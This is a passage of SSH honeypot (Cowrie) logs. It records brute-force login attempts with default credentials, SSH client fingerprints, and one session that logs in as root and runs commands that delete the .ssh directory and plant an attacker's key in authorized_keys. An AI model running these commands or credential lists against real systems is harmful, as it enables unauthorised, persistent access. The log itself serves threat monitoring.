""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:06:59.233179Z","src_ip":"210.79.191.199","session":"dfaded30df40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mirror","password":"mirror","message":"login attempt [mirror/mirror] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:07:00.227937Z","src_ip":"210.79.191.199","session":"dfaded30df40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:07:01.479122Z","src_ip":"210.79.191.199","session":"dfaded30df40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":54868,"dst_ip":"10.17.0.5","dst_port":22,"session":"1154bdf948d6","protocol":"ssh","message":"New connection: 64.188.83.153:54868 (10.17.0.5:22) [session: 1154bdf948d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:07:39.332083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:07:39.336345Z","src_ip":"64.188.83.153","session":"1154bdf948d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:07:39.421704Z","src_ip":"64.188.83.153","session":"1154bdf948d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappepass","message":"login attempt [frappe/frappepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:07:39.798071Z","src_ip":"64.188.83.153","session":"1154bdf948d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:07:40.886680Z","src_ip":"64.188.83.153","session":"1154bdf948d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":42906,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f10491168a5","protocol":"ssh","message":"New connection: 193.46.255.86:42906 (10.17.0.5:22) [session: 2f10491168a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:05.548048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:05.552862Z","src_ip":"193.46.255.86","session":"2f10491168a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:05.687433Z","src_ip":"193.46.255.86","session":"2f10491168a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:06.300967Z","src_ip":"193.46.255.86","session":"2f10491168a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:07.448311Z","src_ip":"193.46.255.86","session":"2f10491168a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:08.595156Z","src_ip":"193.46.255.86","session":"2f10491168a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin","message":"login attempt [user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:09.731977Z","src_ip":"193.46.255.86","session":"2f10491168a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:10.869480Z","src_ip":"193.46.255.86","session":"2f10491168a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:12.006488Z","src_ip":"193.46.255.86","session":"2f10491168a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.123.173","src_port":43680,"dst_ip":"10.17.0.5","dst_port":22,"session":"96f26022a423","protocol":"ssh","message":"New connection: 101.36.123.173:43680 (10.17.0.5:22) [session: 96f26022a423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:52.028929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:52.033278Z","src_ip":"101.36.123.173","session":"96f26022a423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:52.248484Z","src_ip":"101.36.123.173","session":"96f26022a423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:53.140205Z","src_ip":"101.36.123.173","session":"96f26022a423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:54.359398Z","src_ip":"101.36.123.173","session":"96f26022a423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.205.155","src_port":45384,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8788541d77d","protocol":"ssh","message":"New connection: 207.180.205.155:45384 (10.17.0.5:22) [session: e8788541d77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:59.648512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:59.652298Z","src_ip":"207.180.205.155","session":"e8788541d77d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:09:59.749417Z","src_ip":"207.180.205.155","session":"e8788541d77d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamcity","password":"1234","message":"login attempt [teamcity/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:00.172662Z","src_ip":"207.180.205.155","session":"e8788541d77d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:01.279683Z","src_ip":"207.180.205.155","session":"e8788541d77d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":14824,"dst_ip":"10.17.0.5","dst_port":22,"session":"25f17368ea5e","protocol":"ssh","message":"New connection: 43.160.200.19:14824 (10.17.0.5:22) [session: 25f17368ea5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:38.076746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:38.081552Z","src_ip":"43.160.200.19","session":"25f17368ea5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:38.320123Z","src_ip":"43.160.200.19","session":"25f17368ea5e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"p4ssw0rd","message":"login attempt [root/p4ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:39.306235Z","src_ip":"43.160.200.19","session":"25f17368ea5e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:39.824941Z","src_ip":"43.160.200.19","session":"25f17368ea5e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:39.828413Z","src_ip":"43.160.200.19","session":"25f17368ea5e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:39.831738Z","src_ip":"43.160.200.19","session":"25f17368ea5e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:40.073844Z","src_ip":"43.160.200.19","session":"25f17368ea5e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:40.590412Z","src_ip":"43.160.200.19","session":"25f17368ea5e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:40.593500Z","src_ip":"43.160.200.19","session":"25f17368ea5e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:40.836212Z","src_ip":"43.160.200.19","session":"25f17368ea5e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:40.840146Z","src_ip":"43.160.200.19","session":"25f17368ea5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":14832,"dst_ip":"10.17.0.5","dst_port":22,"session":"96a7d6ae34a5","protocol":"ssh","message":"New connection: 43.160.200.19:14832 (10.17.0.5:22) [session: 96a7d6ae34a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:41.084622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:41.089851Z","src_ip":"43.160.200.19","session":"96a7d6ae34a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:41.335385Z","src_ip":"43.160.200.19","session":"96a7d6ae34a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:42.347357Z","src_ip":"43.160.200.19","session":"96a7d6ae34a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:43.596032Z","src_ip":"43.160.200.19","session":"96a7d6ae34a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":58114,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e5cdbcc3210","protocol":"ssh","message":"New connection: 43.160.200.19:58114 (10.17.0.5:22) [session: 5e5cdbcc3210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:43.838283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:43.842908Z","src_ip":"43.160.200.19","session":"5e5cdbcc3210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:44.088640Z","src_ip":"43.160.200.19","session":"5e5cdbcc3210","protocol":"ssh"}
